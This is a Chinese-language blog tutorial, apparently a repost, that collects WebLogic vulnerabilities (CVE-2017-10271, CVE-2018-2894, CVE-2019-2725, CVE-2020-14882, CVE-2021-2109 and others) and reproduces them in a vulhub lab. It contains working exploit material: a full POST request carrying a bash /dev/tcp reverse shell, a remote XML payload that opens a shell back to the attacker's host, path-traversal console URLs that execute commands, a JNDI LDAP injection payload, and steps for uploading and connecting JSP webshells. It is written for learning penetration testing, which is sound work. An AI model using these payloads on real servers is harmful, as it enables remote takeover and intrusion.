栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

web服务器/中间件漏洞系列2:weblogic漏洞汇总

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

web服务器/中间件漏洞系列2:weblogic漏洞汇总

前言:

	漏洞环境使用vulhub docker一键搭建,利用工具包括burp suite,kali等。

weblogic简介:

​ WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

​ WebLogic Server具有开发和部署关键任务电子商务Web应用系统 所需的多种特色和优势,包括:可拓展性、可靠性、体系结构等。

一 、CVE-2017-10271 1、漏洞简介

漏洞类型: XMLDecoder反序列化命令执行漏洞

漏洞原理: 在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE。

**影响版本:**10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 , 12.2.1.2

2、漏洞复现
  1. 访问weblogic站点,进入/wls-wsat/CoordinatorPortType 页面,存在下图所示内容说明可能存在漏洞:

  2. 在攻击机(kali)中使用nc监听端口:

    nc -lp 9876
    
  3. 在此页面抓包,提交如下数据包:(注:提交方式使用POST,反弹shell的命令需要进行编码,如下所示)

  4. 在攻击机中看到返回shell,此时可执行后续操作。

总结: 此漏洞导致的结果是直接RCE,因此除了反弹shell外,也可以进行写shell、上传木马等操作。详情见:https://www.cnblogs.com/xyongsec/archive/2019/07/03/11125511.html

二、CVE-2018-2725 1、漏洞简介

漏洞类型: T3协议反序列化命令执行漏洞

漏洞原理: 远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行。

​ 此外,由于weblogic 的T3服务,造成的漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638。

影响范围: 10.3.6.0 ,12.1.3.0 , 12.2.1.2 , 12.2.1.3

2、漏洞复现
  1. 访问weblogic站点,出现如下图所示界面,说明weblogic搭建成功(显示404是正常现象)

  2. 使用nmap 扫描一下,是否开放了weblogic T3服务

    nmap -n -v -p 7001,7002 192.168.17.251 --script=weblogic-t3-info
    

  1. 使用漏洞利用工具K8WeblogicGUI.exe进行漏洞利用,上传shell:

  2. 使用cve-2018-2628.py连接刚刚上传的shell(箭头所指位置输入刚刚上传的shell的URL),获取交互式shell。此后可以上传CS马或者冰蝎马等进一步操作。

三、CVE-2018-2894 1、漏洞简介

漏洞类型: 未授权访问导致任意文件上传

漏洞原理: 在ws-testpage-impl.jar/com.oracle.webservices.testclient.ws.res.WebserviceResource 类中存在importWsTestConfig方法

​ 跟进 RSdataHelper的convertFormDataMultiPart方法,接下来调用convertFormDataMultiPart方法,文件直接由字段 文件名拼接而成,没有任何限制。

影响范围: 10.3.6.0、12.1.3.0、12.2.1.2、 12.2.1.3。

2、漏洞复现
  1. 使用docker搭建漏洞环境,进入weblogic控制台登录页面:

  2. 进入docker部署的主机,使用 “docker-compose logs |grep password” 查看weblogic后台登录账号信息。

  3. 登录后台,点击base_domain的配置,在“高级”中勾选“启用web服务测试页",然后保存配置。

  1. 访问/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,访问这个目录是无需权限的,这一点很重要。

  2. 然后点击“安全->添加”,上传jsp木马。

  3. 审查元素,查看时间戳(也可以抓包查看)。

  4. 访问木马ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell。

  5. 使用蚁剑或者菜刀连接shell即可(此处上传马有问题,使用的哥斯拉的马进行连接)。

四、CVE-2019-2725 1、漏洞简介

漏洞类型:wls-wsat反序列化漏洞

漏洞原理:漏洞触发点在bea_wls9_async_response.war、wsat.war ,通过CVE-2019-2725补丁分析发现,较上一个漏洞CVE-2017-10271补丁而言,官方新增了对class元素的过滤,并且array元素的length属性转换为整形后不得大于10000:

本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行。

影响范围: 10.* ,12.1.3

2、漏洞复现

**说明:**vulhub中,没有该漏洞的单独镜像,可以使用CVE-2018-2894等漏洞环境的镜像,满足版本条件基本上都可以。

  1. 访问目标站点以下目录,如果存在下图所示界面,说明就存在漏洞:

    /_async/AsyncResponseService
    /_async/AsyncResponseServiceJms
    /_async/AsyncResponseServiceHttps
    /_async/AsyncResponseServiceSoap12
    /_async/AsyncResponseServiceSoap12Jms
    /_async/AsyncResponseServiceSoap12Https
    

  1. 在kali中使用nc监听端口:

  2. 在当前页面抓包,提交一下内容:

    POST /_async/AsyncResponseService HTTP/1.1
    Host: IP:PORT
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,**
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml
    
    
    
    xx
    xx
    
    
    
    
    /bin/bash
    
    
    -c
    
    
    bash -i >& /dev/tcp/192.168.17.132/44444 0>&1
    
    
    
    
    
    
    
    
    
    

  1. 提交成功,返回202,查看nc监听结果,返回shell成功。
五、CVE-2020-14882 1、漏洞简介

**漏洞类型:**未授权访问导致的远程代码执行漏洞

漏洞原理: 远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者可在未经身份验证的情况下控制 WebLogic Server Console ,并执行任意代码。

影响范围: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0,14.1.1.0.0

详见: https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4

2、漏洞复现
  1. 直接构建poc,访问控制台,达到未授权访问的效果

    http://ip:port/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
    

  1. 此时由于访问了控制台,但是没有安装部署的按钮,所以不能像常规操作一样getshell,因此需要通过远程加载xml文档的方法来反弹shell。
  • 第一步:构造远程xml文档,内容如下,并开启临时http文件共享服务:

    
    
    
    
    /bin/bash
    -c
    & /dev/tcp/192.168.17.132/5555 0>&1]]>
    
    
    
    
    

  • 第二步:使用poc执行代码在/tmp目录下创建test目录,以检测代码执行poc能否顺利执行。

    执行poc:http://192.168.17.244:7001//console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test%27);%22);
    

    进入docker查看创建结果:docker exec -it cve-2020-14882_weblogic_1 /bin/bash

    创建成功,说明代码顺利执行。

  • 第三步:nc监听端口,并加载远程XML文档。

    加载xml文档poc:http://192.168.17.244:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(%22http://192.168.17.132:8090/test.xml%22)
    

    执行结果:nc 收到反弹shell。

六、CVE-2021-2109

注:由于vulnhub 的docker镜像中,暂时没有该漏洞的镜像,因此使用CVE-2020-14882漏洞镜像进行的复现。

1、漏洞简介

漏洞类型: 远程代码执行漏洞

**漏洞原理:**漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。

影响范围:

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
2、漏洞复现
  • 访问/console/css/%252e%252e%252f/consolejndi.portal,如果能进入后太,出现一下界面,说明存在漏洞。

  • 在攻击机1(kali)上使用ldap脚本起一个JDNI服务:java -jar JNDIExploit-v1.11.jar -i 192.168.xx.xx ,此处IP设置为自己的服务器IP,ldap脚本下载地址: https://github.com/feihong-cs/JNDIExploit

  • 在攻击机2(windows 10)抓包发送payload:/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) 此处需要注意的是IP的第三个“."需要使用”;"替换,并且在HTTP头帐加入CMD内容。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/613596.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号